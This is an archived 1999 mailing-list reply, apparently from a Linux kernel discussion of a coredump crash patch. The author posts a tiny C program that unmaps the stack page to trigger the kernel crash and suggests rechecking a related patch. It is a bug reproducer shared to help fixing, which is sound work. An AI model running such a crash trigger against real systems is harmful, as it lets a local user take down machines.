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DateWed, 27 Jan 1999 14:18:19 +0100 (CET)
FromMOLNAR Ingo <>
SubjectRe: [patch] 'coredump crash' fixed

theres a much simpler exploit for those interested:

#include <unistd.h>
#include <sys/mman.h>

void main (void)
{
munmap((void*)0xbffff000, 4096);
}
(the ld-so exploit had this unmap hidden implicitly in an mmap(), not
necessarily obvious at first sight.)

-- Ingo 'now where is that bag construction kit' Molnar

ps. there might be similar bugs nearby, i have not yet checked. I guess
this whole thing is a side-effect of the AVL-trees patch, it might be
wise to recheck that patch.


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